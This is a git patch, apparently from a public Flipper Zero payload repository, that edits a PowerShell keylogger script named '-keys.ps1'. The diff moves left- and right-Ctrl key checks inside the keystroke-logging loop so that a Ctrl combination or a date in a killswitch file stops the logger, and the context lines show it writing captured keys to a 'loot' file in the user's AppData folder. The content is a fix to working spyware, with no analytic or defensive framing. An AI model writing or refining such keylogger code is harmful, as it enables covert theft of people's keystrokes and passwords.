From 0bb85db04450de80a94124e5afe95d1ed136da0e Mon Sep 17 00:00:00 2001
From: I-Am-Jakoby <Michaelryanchitwood@gmail.com>
Date: Sun, 25 Dec 2022 23:38:37 -0600
Subject: [PATCH] Update -keys.ps1

---
 Payloads/Flip-Keylogger/-keys.ps1 | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/Payloads/Flip-Keylogger/-keys.ps1 b/Payloads/Flip-Keylogger/-keys.ps1
index 837beec..77c0fc1 100644
--- a/Payloads/Flip-Keylogger/-keys.ps1
+++ b/Payloads/Flip-Keylogger/-keys.ps1
@@ -1,7 +1,6 @@
 Add-Type -AssemblyName WindowsBase
 Add-Type -AssemblyName PresentationCore
-$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
-$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
+
 
 function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
   $signatures = @'
@@ -26,6 +25,8 @@ function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
 
     while ($true) {
       Start-Sleep -Milliseconds 40
+      $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
+      $Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
       if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}